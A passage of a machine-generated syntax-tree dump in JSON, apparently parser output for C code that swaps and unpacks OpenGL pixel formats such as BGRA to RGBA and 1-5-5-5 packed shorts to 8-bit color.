255], "start_point": {"row": 53, "column": 2}, "end_point": {"row": 53, "column": 24}}, {"id": 253, "type": "identifier", "text": "pixels", "parent": 252, "children": [], "start_point": {"row": 53, "column": 2}, "end_point": {"row": 53, "column": 8}}, {"id": 254, "type": "=", "text": "=", "parent": 252, "children": [], "start_point": {"row": 53, "column": 9}, "end_point": {"row": 53, "column": 10}}, {"id": 255, "type": "field_expression", "text": "image->pixels", "parent": 252, "children": [256, 257], "start_point": {"row": 53, "column": 11}, "end_point": {"row": 53, "column": 24}}, {"id": 256, "type": "identifier", "text": "image", "parent": 255, "children": [], "start_point": {"row": 53, "column": 11}, "end_point": {"row": 53, "column": 16}}, {"id": 257, "type": "field_identifier", "text": "pixels", "parent": 255, "children": [], "start_point": {"row": 53, "column": 18}, "end_point": {"row": 53, "column": 24}}, {"id": 258, "type": "call_expression", "text": "assert(image->format == GL_BGRA_EXT)", "parent": 197, "children": [259, 260], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 38}}, {"id": 259, "type": "identifier", "text": "assert", "parent": 258, "children": [], "start_point": {"row": 55, "column": 2}, "end_point": {"row": 55, "column": 8}}, {"id": 260, "type": "argument_list", "text": "(image->format == GL_BGRA_EXT)", "parent": 258, "children": [261], "start_point": {"row": 55, "column": 8}, "end_point": {"row": 55, "column": 38}}, {"id": 261, "type": "binary_expression", "text": "image->format == GL_BGRA_EXT", "parent": 260, "children": [262, 265, 266], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 37}}, {"id": 262, "type": "field_expression", "text": "image->format", "parent": 261, "children": [263, 264], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 22}}, {"id": 263, "type": "identifier", "text": "image", "parent": 262, "children": [], "start_point": {"row": 55, "column": 9}, "end_point": {"row": 55, "column": 14}}, {"id": 264, "type": "field_identifier", "text": "format", "parent": 262, "children": [], "start_point": {"row": 55, "column": 16}, "end_point": {"row": 55, "column": 22}}, {"id": 265, "type": "==", "text": "==", "parent": 261, "children": [], "start_point": {"row": 55, "column": 23}, "end_point": {"row": 55, "column": 25}}, {"id": 266, "type": "identifier", "text": "GL_BGRA_EXT", "parent": 261, "children": [], "start_point": {"row": 55, "column": 26}, "end_point": {"row": 55, "column": 37}}, {"id": 267, "type": "switch_statement", "text": "switch (image->type) {\n case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;\n case GL_UNSIGNED_SHORT_1_5_5_5_REV:\n assert(image->type == GL_UNSIGNED_SHORT_1_5_5_5_REV);\n if (image->components == 4) {\n image->format = GL_RGBA;\n spixels = (GLubyte*) image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 4);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n \n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*components+0] = red;\n pixels[(j*w+i)*components+1] = green;\n pixels[(j*w+i)*components+2] = blue;\n pixels[(j*w+i)*components+3] = 0xff;\n }\n }\n } else {\n assert(image->components == 3);\n image->format = GL_RGB;\n spixels = image->pixels;\n image->pixels = (GLubyte*) malloc(w * h * 3);\n pixels = image->pixels;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n GLubyte red, green, blue;\n\n spixel[0] = spixels[(j*w+i)*2+0];\n spixel[1] = spixels[(j*w+i)*2+1];\n\n red = (spixel[1] & 0x7c) >> 2;\n red = (red << 3) | ((red & 0x1) * 0x7);\n\n green = ((spixel[1] & 0x03) << 3) | ((spixel[0] & 0xe0) >> 5);\n green = (green << 3) | ((green & 0x1) * 0x7);\n\n blue = (spixel[0] & 0x1f) >> 0;\n blue = (blue << 3) | ((blue & 0x1) * 0x7);\n\n pixels[(j*w+i)*3+0] = red;\n pixels[(j*w+i)*3+1] = green;\n pixels[(j*w+i)*3+2] = blue;\n }\n }\n }\n image->type = GL_UNSIGNED_BYTE;\n free(spixels);\n break;\n default:\n assert(0);\n break;\n }", "parent": 197, "children": [268, 269], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 135, "column": 3}}, {"id": 268, "type": "switch", "text": "switch", "parent": 267, "children": [], "start_point": {"row": 57, "column": 2}, "end_point": {"row": 57, "column": 8}}, {"id": 269, "type": "parenthesized_expression", "text": "(image->type)", "parent": 267, "children": [270], "start_point": {"row": 57, "column": 9}, "end_point": {"row": 57, "column": 22}}, {"id": 270, "type": "field_expression", "text": "image->type", "parent": 269, "children": [271, 272], "start_point": {"row": 57, "column": 10}, "end_point": {"row": 57, "column": 21}}, {"id": 271, "type": "identifier", "text": "image", "parent": 270, "children": [], "start_point": {"row": 57, "column": 10}, "end_point": {"row": 57, "column": 15}}, {"id": 272, "type": "field_identifier", "text": "type", "parent": 270, "children": [], "start_point": {"row": 57, "column": 17}, "end_point": {"row": 57, "column": 21}}, {"id": 273, "type": "case_statement", "text": "case GL_UNSIGNED_BYTE:\n image->format = GL_RGBA;\n for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }\n break;", "parent": 267, "children": [274, 275, 282, 423], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 71, "column": 10}}, {"id": 274, "type": "case", "text": "case", "parent": 273, "children": [], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 58, "column": 6}}, {"id": 275, "type": "identifier", "text": "GL_UNSIGNED_BYTE", "parent": 273, "children": [], "start_point": {"row": 58, "column": 7}, "end_point": {"row": 58, "column": 23}}, {"id": 276, "type": "assignment_expression", "text": "image->format = GL_RGBA", "parent": 273, "children": [277, 280, 281], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 59, "column": 27}}, {"id": 277, "type": "field_expression", "text": "image->format", "parent": 276, "children": [278, 279], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 59, "column": 17}}, {"id": 278, "type": "identifier", "text": "image", "parent": 277, "children": [], "start_point": {"row": 59, "column": 4}, "end_point": {"row": 59, "column": 9}}, {"id": 279, "type": "field_identifier", "text": "format", "parent": 277, "children": [], "start_point": {"row": 59, "column": 11}, "end_point": {"row": 59, "column": 17}}, {"id": 280, "type": "=", "text": "=", "parent": 276, "children": [], "start_point": {"row": 59, "column": 18}, "end_point": {"row": 59, "column": 19}}, {"id": 281, "type": "identifier", "text": "GL_RGBA", "parent": 276, "children": [], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 27}}, {"id": 282, "type": "for_statement", "text": "for (j=0; j<h; j++) {\n for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }\n }", "parent": 273, "children": [283, 287, 291], "start_point": {"row": 60, "column": 4}, "end_point": {"row": 70, "column": 5}}, {"id": 283, "type": "assignment_expression", "text": "j=0", "parent": 282, "children": [284, 285, 286], "start_point": {"row": 60, "column": 9}, "end_point": {"row": 60, "column": 12}}, {"id": 284, "type": "identifier", "text": "j", "parent": 283, "children": [], "start_point": {"row": 60, "column": 9}, "end_point": {"row": 60, "column": 10}}, {"id": 285, "type": "=", "text": "=", "parent": 283, "children": [], "start_point": {"row": 60, "column": 10}, "end_point": {"row": 60, "column": 11}}, {"id": 286, "type": "number_literal", "text": "0", "parent": 283, "children": [], "start_point": {"row": 60, "column": 11}, "end_point": {"row": 60, "column": 12}}, {"id": 287, "type": "binary_expression", "text": "j<h", "parent": 282, "children": [288, 289, 290], "start_point": {"row": 60, "column": 14}, "end_point": {"row": 60, "column": 17}}, {"id": 288, "type": "identifier", "text": "j", "parent": 287, "children": [], "start_point": {"row": 60, "column": 14}, "end_point": {"row": 60, "column": 15}}, {"id": 289, "type": "<", "text": "<", "parent": 287, "children": [], "start_point": {"row": 60, "column": 15}, "end_point": {"row": 60, "column": 16}}, {"id": 290, "type": "identifier", "text": "h", "parent": 287, "children": [], "start_point": {"row": 60, "column": 16}, "end_point": {"row": 60, "column": 17}}, {"id": 291, "type": "update_expression", "text": "j++", "parent": 282, "children": [292, 293], "start_point": {"row": 60, "column": 19}, "end_point": {"row": 60, "column": 22}}, {"id": 292, "type": "identifier", "text": "j", "parent": 291, "children": [], "start_point": {"row": 60, "column": 19}, "end_point": {"row": 60, "column": 20}}, {"id": 293, "type": "++", "text": "++", "parent": 291, "children": [], "start_point": {"row": 60, "column": 20}, "end_point": {"row": 60, "column": 22}}, {"id": 294, "type": "for_statement", "text": "for (i=0; i<w; i++) {\n for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }\n pixels[(j*w+i)*components+0] = pixel[2];\n pixels[(j*w+i)*components+1] = pixel[1];\n pixels[(j*w+i)*components+2] = pixel[0];\n pixels[(j*w+i)*components+3] = pixel[3];\n }", "parent": 282, "children": [295, 299, 303], "start_point": {"row": 61, "column": 6}, "end_point": {"row": 69, "column": 7}}, {"id": 295, "type": "assignment_expression", "text": "i=0", "parent": 294, "children": [296, 297, 298], "start_point": {"row": 61, "column": 11}, "end_point": {"row": 61, "column": 14}}, {"id": 296, "type": "identifier", "text": "i", "parent": 295, "children": [], "start_point": {"row": 61, "column": 11}, "end_point": {"row": 61, "column": 12}}, {"id": 297, "type": "=", "text": "=", "parent": 295, "children": [], "start_point": {"row": 61, "column": 12}, "end_point": {"row": 61, "column": 13}}, {"id": 298, "type": "number_literal", "text": "0", "parent": 295, "children": [], "start_point": {"row": 61, "column": 13}, "end_point": {"row": 61, "column": 14}}, {"id": 299, "type": "binary_expression", "text": "i<w", "parent": 294, "children": [300, 301, 302], "start_point": {"row": 61, "column": 16}, "end_point": {"row": 61, "column": 19}}, {"id": 300, "type": "identifier", "text": "i", "parent": 299, "children": [], "start_point": {"row": 61, "column": 16}, "end_point": {"row": 61, "column": 17}}, {"id": 301, "type": "<", "text": "<", "parent": 299, "children": [], "start_point": {"row": 61, "column": 17}, "end_point": {"row": 61, "column": 18}}, {"id": 302, "type": "identifier", "text": "w", "parent": 299, "children": [], "start_point": {"row": 61, "column": 18}, "end_point": {"row": 61, "column": 19}}, {"id": 303, "type": "update_expression", "text": "i++", "parent": 294, "children": [304, 305], "start_point": {"row": 61, "column": 21}, "end_point": {"row": 61, "column": 24}}, {"id": 304, "type": "identifier", "text": "i", "parent": 303, "children": [], "start_point": {"row": 61, "column": 21}, "end_point": {"row": 61, "column": 22}}, {"id": 305, "type": "++", "text": "++", "parent": 303, "children": [], "start_point": {"row": 61, "column": 22}, "end_point": {"row": 61, "column": 24}}, {"id": 306, "type": "for_statement", "text": "for (c=0; c<components; c++) {\n pixel[c] = pixels[(j*w+i)*components+c];\n }", "parent": 294, "children": [307, 311, 315], "start_point": {"row": 62, "column": 8}, "end_point": {"row": 64, "column": 9}}, {"id": 307, "type": "assignment_expression", "text": "c=0", "parent": 306, "children": [308, 309, 310], "start_point": {"row": 62, "column": 13}, "end_point": {"row": 62, "column": 16}}, {"id": 308, "type": "identifier", "text": "c", "parent": 307, "children": [], "start_point": {"row": 62, "column": 13}, "end_point": {"row": 62, "column": 14}}, {"id": 309, "type": "=", "text": "=", "parent": 307, "children": [], "start_point": {"row": 62, "column": 14}, "end_point": {"row": 62, "column": 15}}, {"id": 310, "type": "number_literal", "text": "0", "parent": 307, "children": [], "start_point": {"row": 62, "column": 15}, "end_point": {"row": 62, "column": 16}}, {"id": 311, "type": "binary_expression", "text": "c<components", "parent": 306, "children": [312, 313, 314], "start_point": {"row": 62, "column": 18}, "end_point": {"row": 62, "column": 30}}, {"id": 312, "type": "identifier", "text": "c", "parent": 311, "children": [], "start_point": {"row": 62, "column": 18}, "end_point": {"row": 62, "column": 19}}, {"id": 313, "type": "<", "text": "<", "parent": 311, "children": [], "start_point": {"row": 62, "column": 19}, "end_point": {"row": 62, "column": 20}}, {"id": 314, "type": "identifier", "text": "components", "parent": 311, "children": [], "start_point": {"row": 62, "column": 20}, "end_point": {"row": 62, "column": 30}}, {"id": 315, "type": "update_expression", "text": "c++", "parent": 306, "children": [316, 317], "start_point": {"row": 62, "column": 32}, "end_point": {"row": 62, "column": 35}}, {"id": 316, "type": "identifier", "text": "c", "parent": 315, "children": [], "start_point": {"row": 62, "column": 32}, "end_point": {"row": 62, "column": 33}}, {"id": 317, "type": "++", "text": "++", "parent": 315, "children": [], "start_point": {"row": 62, "column": 33}, "end_point": {"row": 62, "column": 35}}, {"id": 318, "type": "assignment_expression", "text": "pixel[c] = pixels[(j*w+i)*components+c]", "parent": 306, "children": [319, 322, 323], "start_point": {"row": 63, "column": 10}, "end_point": {"row": 63, "column": 49}}, {"id": 319, "type": "subscript_expression", "text": "pixel[c]", "parent": 318, "children": [320, 321], "start_point": {"row": 63, "column": 10}, "end_point": {"row": 63, "column": 18}}, {"id": 320, "type": "identifier", "text": "pixel", "parent": 319, "children": [], "start_point": {"row": 63, "column": 10}, "end_point": {"row": 63, "column": 15}}, {"id": 321, "type": "identifier", "text": "c", "parent": 319, "children": [], "start_point": {"row": 63, "column": 16}, "end_point": {"row": 63, "column": 17}}, {"id": 322, "type": "=", "text": "=", "parent": 318, "children": [], "start_point": {"row": 63, "column": 19}, "end_point": {"row": 63, "column": 20}}, {"id": 323, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+c]", "parent": 318, "children": [324, 325], "start_point": {"row": 63, "column": 21}, "end_point": {"row": 63, "column": 49}}, {"id": 324, "type": "identifier", "text": "pixels", "parent": 323, "children": [], "start_point": {"row": 63, "column": 21}, "end_point": {"row": 63, "column": 27}}, {"id": 325, "type": "binary_expression", "text": "(j*w+i)*components+c", "parent": 323, "children": [326, 337, 338], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 48}}, {"id": 326, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 325, "children": [327, 335, 336], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 46}}, {"id": 327, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 326, "children": [328], "start_point": {"row": 63, "column": 28}, "end_point": {"row": 63, "column": 35}}, {"id": 328, "type": "binary_expression", "text": "j*w+i", "parent": 327, "children": [329, 333, 334], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 34}}, {"id": 329, "type": "binary_expression", "text": "j*w", "parent": 328, "children": [330, 331, 332], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 32}}, {"id": 330, "type": "identifier", "text": "j", "parent": 329, "children": [], "start_point": {"row": 63, "column": 29}, "end_point": {"row": 63, "column": 30}}, {"id": 331, "type": "*", "text": "*", "parent": 329, "children": [], "start_point": {"row": 63, "column": 30}, "end_point": {"row": 63, "column": 31}}, {"id": 332, "type": "identifier", "text": "w", "parent": 329, "children": [], "start_point": {"row": 63, "column": 31}, "end_point": {"row": 63, "column": 32}}, {"id": 333, "type": "+", "text": "+", "parent": 328, "children": [], "start_point": {"row": 63, "column": 32}, "end_point": {"row": 63, "column": 33}}, {"id": 334, "type": "identifier", "text": "i", "parent": 328, "children": [], "start_point": {"row": 63, "column": 33}, "end_point": {"row": 63, "column": 34}}, {"id": 335, "type": "*", "text": "*", "parent": 326, "children": [], "start_point": {"row": 63, "column": 35}, "end_point": {"row": 63, "column": 36}}, {"id": 336, "type": "identifier", "text": "components", "parent": 326, "children": [], "start_point": {"row": 63, "column": 36}, "end_point": {"row": 63, "column": 46}}, {"id": 337, "type": "+", "text": "+", "parent": 325, "children": [], "start_point": {"row": 63, "column": 46}, "end_point": {"row": 63, "column": 47}}, {"id": 338, "type": "identifier", "text": "c", "parent": 325, "children": [], "start_point": {"row": 63, "column": 47}, "end_point": {"row": 63, "column": 48}}, {"id": 339, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+0] = pixel[2]", "parent": 294, "children": [340, 356, 357], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 47}}, {"id": 340, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+0]", "parent": 339, "children": [341, 342], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 36}}, {"id": 341, "type": "identifier", "text": "pixels", "parent": 340, "children": [], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 14}}, {"id": 342, "type": "binary_expression", "text": "(j*w+i)*components+0", "parent": 340, "children": [343, 354, 355], "start_point": {"row": 65, "column": 15}, "end_point": {"row": 65, "column": 35}}, {"id": 343, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 342, "children": [344, 352, 353], "start_point": {"row": 65, "column": 15}, "end_point": {"row": 65, "column": 33}}, {"id": 344, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 343, "children": [345], "start_point": {"row": 65, "column": 15}, "end_point": {"row": 65, "column": 22}}, {"id": 345, "type": "binary_expression", "text": "j*w+i", "parent": 344, "children": [346, 350, 351], "start_point": {"row": 65, "column": 16}, "end_point": {"row": 65, "column": 21}}, {"id": 346, "type": "binary_expression", "text": "j*w", "parent": 345, "children": [347, 348, 349], "start_point": {"row": 65, "column": 16}, "end_point": {"row": 65, "column": 19}}, {"id": 347, "type": "identifier", "text": "j", "parent": 346, "children": [], "start_point": {"row": 65, "column": 16}, "end_point": {"row": 65, "column": 17}}, {"id": 348, "type": "*", "text": "*", "parent": 346, "children": [], "start_point": {"row": 65, "column": 17}, "end_point": {"row": 65, "column": 18}}, {"id": 349, "type": "identifier", "text": "w", "parent": 346, "children": [], "start_point": {"row": 65, "column": 18}, "end_point": {"row": 65, "column": 19}}, {"id": 350, "type": "+", "text": "+", "parent": 345, "children": [], "start_point": {"row": 65, "column": 19}, "end_point": {"row": 65, "column": 20}}, {"id": 351, "type": "identifier", "text": "i", "parent": 345, "children": [], "start_point": {"row": 65, "column": 20}, "end_point": {"row": 65, "column": 21}}, {"id": 352, "type": "*", "text": "*", "parent": 343, "children": [], "start_point": {"row": 65, "column": 22}, "end_point": {"row": 65, "column": 23}}, {"id": 353, "type": "identifier", "text": "components", "parent": 343, "children": [], "start_point": {"row": 65, "column": 23}, "end_point": {"row": 65, "column": 33}}, {"id": 354, "type": "+", "text": "+", "parent": 342, "children": [], "start_point": {"row": 65, "column": 33}, "end_point": {"row": 65, "column": 34}}, {"id": 355, "type": "number_literal", "text": "0", "parent": 342, "children": [], "start_point": {"row": 65, "column": 34}, "end_point": {"row": 65, "column": 35}}, {"id": 356, "type": "=", "text": "=", "parent": 339, "children": [], "start_point": {"row": 65, "column": 37}, "end_point": {"row": 65, "column": 38}}, {"id": 357, "type": "subscript_expression", "text": "pixel[2]", "parent": 339, "children": [358, 359], "start_point": {"row": 65, "column": 39}, "end_point": {"row": 65, "column": 47}}, {"id": 358, "type": "identifier", "text": "pixel", "parent": 357, "children": [], "start_point": {"row": 65, "column": 39}, "end_point": {"row": 65, "column": 44}}, {"id": 359, "type": "number_literal", "text": "2", "parent": 357, "children": [], "start_point": {"row": 65, "column": 45}, "end_point": {"row": 65, "column": 46}}, {"id": 360, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+1] = pixel[1]", "parent": 294, "children": [361, 377, 378], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 66, "column": 47}}, {"id": 361, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+1]", "parent": 360, "children": [362, 363], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 66, "column": 36}}, {"id": 362, "type": "identifier", "text": "pixels", "parent": 361, "children": [], "start_point": {"row": 66, "column": 8}, "end_point": {"row": 66, "column": 14}}, {"id": 363, "type": "binary_expression", "text": "(j*w+i)*components+1", "parent": 361, "children": [364, 375, 376], "start_point": {"row": 66, "column": 15}, "end_point": {"row": 66, "column": 35}}, {"id": 364, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 363, "children": [365, 373, 374], "start_point": {"row": 66, "column": 15}, "end_point": {"row": 66, "column": 33}}, {"id": 365, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 364, "children": [366], "start_point": {"row": 66, "column": 15}, "end_point": {"row": 66, "column": 22}}, {"id": 366, "type": "binary_expression", "text": "j*w+i", "parent": 365, "children": [367, 371, 372], "start_point": {"row": 66, "column": 16}, "end_point": {"row": 66, "column": 21}}, {"id": 367, "type": "binary_expression", "text": "j*w", "parent": 366, "children": [368, 369, 370], "start_point": {"row": 66, "column": 16}, "end_point": {"row": 66, "column": 19}}, {"id": 368, "type": "identifier", "text": "j", "parent": 367, "children": [], "start_point": {"row": 66, "column": 16}, "end_point": {"row": 66, "column": 17}}, {"id": 369, "type": "*", "text": "*", "parent": 367, "children": [], "start_point": {"row": 66, "column": 17}, "end_point": {"row": 66, "column": 18}}, {"id": 370, "type": "identifier", "text": "w", "parent": 367, "children": [], "start_point": {"row": 66, "column": 18}, "end_point": {"row": 66, "column": 19}}, {"id": 371, "type": "+", "text": "+", "parent": 366, "children": [], "start_point": {"row": 66, "column": 19}, "end_point": {"row": 66, "column": 20}}, {"id": 372, "type": "identifier", "text": "i", "parent": 366, "children": [], "start_point": {"row": 66, "column": 20}, "end_point": {"row": 66, "column": 21}}, {"id": 373, "type": "*", "text": "*", "parent": 364, "children": [], "start_point": {"row": 66, "column": 22}, "end_point": {"row": 66, "column": 23}}, {"id": 374, "type": "identifier", "text": "components", "parent": 364, "children": [], "start_point": {"row": 66, "column": 23}, "end_point": {"row": 66, "column": 33}}, {"id": 375, "type": "+", "text": "+", "parent": 363, "children": [], "start_point": {"row": 66, "column": 33}, "end_point": {"row": 66, "column": 34}}, {"id": 376, "type": "number_literal", "text": "1", "parent": 363, "children": [], "start_point": {"row": 66, "column": 34}, "end_point": {"row": 66, "column": 35}}, {"id": 377, "type": "=", "text": "=", "parent": 360, "children": [], "start_point": {"row": 66, "column": 37}, "end_point": {"row": 66, "column": 38}}, {"id": 378, "type": "subscript_expression", "text": "pixel[1]", "parent": 360, "children": [379, 380], "start_point": {"row": 66, "column": 39}, "end_point": {"row": 66, "column": 47}}, {"id": 379, "type": "identifier", "text": "pixel", "parent": 378, "children": [], "start_point": {"row": 66, "column": 39}, "end_point": {"row": 66, "column": 44}}, {"id": 380, "type": "number_literal", "text": "1", "parent": 378, "children": [], "start_point": {"row": 66, "column": 45}, "end_point": {"row": 66, "column": 46}}, {"id": 381, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+2] = pixel[0]", "parent": 294, "children": [382, 398, 399], "start_point": {"row": 67, "column": 8}, "end_point": {"row": 67, "column": 47}}, {"id": 382, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+2]", "parent": 381, "children": [383, 384], "start_point": {"row": 67, "column": 8}, "end_point": {"row": 67, "column": 36}}, {"id": 383, "type": "identifier", "text": "pixels", "parent": 382, "children": [], "start_point": {"row": 67, "column": 8}, "end_point": {"row": 67, "column": 14}}, {"id": 384, "type": "binary_expression", "text": "(j*w+i)*components+2", "parent": 382, "children": [385, 396, 397], "start_point": {"row": 67, "column": 15}, "end_point": {"row": 67, "column": 35}}, {"id": 385, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 384, "children": [386, 394, 395], "start_point": {"row": 67, "column": 15}, "end_point": {"row": 67, "column": 33}}, {"id": 386, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 385, "children": [387], "start_point": {"row": 67, "column": 15}, "end_point": {"row": 67, "column": 22}}, {"id": 387, "type": "binary_expression", "text": "j*w+i", "parent": 386, "children": [388, 392, 393], "start_point": {"row": 67, "column": 16}, "end_point": {"row": 67, "column": 21}}, {"id": 388, "type": "binary_expression", "text": "j*w", "parent": 387, "children": [389, 390, 391], "start_point": {"row": 67, "column": 16}, "end_point": {"row": 67, "column": 19}}, {"id": 389, "type": "identifier", "text": "j", "parent": 388, "children": [], "start_point": {"row": 67, "column": 16}, "end_point": {"row": 67, "column": 17}}, {"id": 390, "type": "*", "text": "*", "parent": 388, "children": [], "start_point": {"row": 67, "column": 17}, "end_point": {"row": 67, "column": 18}}, {"id": 391, "type": "identifier", "text": "w", "parent": 388, "children": [], "start_point": {"row": 67, "column": 18}, "end_point": {"row": 67, "column": 19}}, {"id": 392, "type": "+", "text": "+", "parent": 387, "children": [], "start_point": {"row": 67, "column": 19}, "end_point": {"row": 67, "column": 20}}, {"id": 393, "type": "identifier", "text": "i", "parent": 387, "children": [], "start_point": {"row": 67, "column": 20}, "end_point": {"row": 67, "column": 21}}, {"id": 394, "type": "*", "text": "*", "parent": 385, "children": [], "start_point": {"row": 67, "column": 22}, "end_point": {"row": 67, "column": 23}}, {"id": 395, "type": "identifier", "text": "components", "parent": 385, "children": [], "start_point": {"row": 67, "column": 23}, "end_point": {"row": 67, "column": 33}}, {"id": 396, "type": "+", "text": "+", "parent": 384, "children": [], "start_point": {"row": 67, "column": 33}, "end_point": {"row": 67, "column": 34}}, {"id": 397, "type": "number_literal", "text": "2", "parent": 384, "children": [], "start_point": {"row": 67, "column": 34}, "end_point": {"row": 67, "column": 35}}, {"id": 398, "type": "=", "text": "=", "parent": 381, "children": [], "start_point": {"row": 67, "column": 37}, "end_point": {"row": 67, "column": 38}}, {"id": 399, "type": "subscript_expression", "text": "pixel[0]", "parent": 381, "children": [400, 401], "start_point": {"row": 67, "column": 39}, "end_point": {"row": 67, "column": 47}}, {"id": 400, "type": "identifier", "text": "pixel", "parent": 399, "children": [], "start_point": {"row": 67, "column": 39}, "end_point": {"row": 67, "column": 44}}, {"id": 401, "type": "number_literal", "text": "0", "parent": 399, "children": [], "start_point": {"row": 67, "column": 45}, "end_point": {"row": 67, "column": 46}}, {"id": 402, "type": "assignment_expression", "text": "pixels[(j*w+i)*components+3] = pixel[3]", "parent": 294, "children": [403, 419, 420], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 47}}, {"id": 403, "type": "subscript_expression", "text": "pixels[(j*w+i)*components+3]", "parent": 402, "children": [404, 405], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 36}}, {"id": 404, "type": "identifier", "text": "pixels", "parent": 403, "children": [], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 14}}, {"id": 405, "type": "binary_expression", "text": "(j*w+i)*components+3", "parent": 403, "children": [406, 417, 418], "start_point": {"row": 68, "column": 15}, "end_point": {"row": 68, "column": 35}}, {"id": 406, "type": "binary_expression", "text": "(j*w+i)*components", "parent": 405, "children": [407, 415, 416], "start_point": {"row": 68, "column": 15}, "end_point": {"row": 68, "column": 33}}, {"id": 407, "type": "parenthesized_expression", "text": "(j*w+i)", "parent": 406, "children": [408], "start_point": {"row": 68, "column": 15}, "end_point": {"row": 68, "column": 22}}, {"id": 408, "type": "binary_expression", "text": "j*w+i", "parent": 407, "children": [409, 413, 414], "start_point": {"row": 68, "column": 16}, "end_point": {"row": 68, "column": 21}}, {"id": 409, "type": "binary_expression", "text": "j*w", "parent": 408, "children": [410, 411, 412], "start_point": {"row": 68, "column": 16}, "end_point": {"row": 68, "column": 19}}, {"id": 410, "type": "identifier", "text": "j", "parent": 409, "children": [], "start_point": {"row": 68, "column": 16}, "end_point": {"row": 68, "column": 17}}, {"id": 411, "type": "*", "text": "*", "parent": 409, "children": [], "start_point": {"row": 68, "column": 17}, "end_point": {"row": 68, "column": 18}}, {"id": 412, "type": "identifier", "text": "w", "parent": 409, "children": [], "start_point": {"row": 68, "column": 18}, "end_point": {"row": 68, "column": 19}}, {"id": 413, "type": "+", "text": "+", "parent": 408, "children": [], "start_point": {"row": 68, "column": 19}, "end_point": {"row": 68, "column": 20}}, {"id": 414, "type": "identifier", "text": "i", "parent": 408, "children": [], "start_point": {"row": 68, "column": 20}, "end_point": {"row": 68, "column": 21}}, {"id": 415, "type": "*", "text": "*", "parent": 406, "children": [], "start_point": {"row": 68, "column": 22}, "end_point": {"row": 68, "column": 23}}, {"id": 416, "type": "identifier", "text": "components", "parent": 406, "children": [], "start_point": {"row": 68, "column": 23}, "end_point": {"row": 68, "column": 33}}, {"id": 417, "type": "+", "text": "+", "parent": 405, "children": [], "start_point": {"row": 68, "column": 33}, "end_point": {"row": 68, "column": 34}}, {"id": 418, "type": "number_literal", "text": "3", "parent": 405, "children": [], "start_point": {"row": 68, "column": 34}, "end_point": {"row": 68, "column": 35}}, {"id": 419, "type": "=", "text": "=", "parent": 402, "children": [], "start_point": {"row": 68, "column": 37}, "end_point": {"row": 68, "column": 38}}, {"id": 420, "type": "subscript_expression", "text": "pixel[3]", "parent": 402, "children": [421, 422], "start_point": {"row": 68, "column": 39}, "end_point": {"row": 68, "column": 47}}, {"id": 421, "type": "identifier", "text": "pixel", "parent": 420, "children": [], "start_point": {"row": 68, "column": 39}, "end_point": {"row": 68, "column": 44}}, {"id": 422, "type": "number_literal", "text": "3", 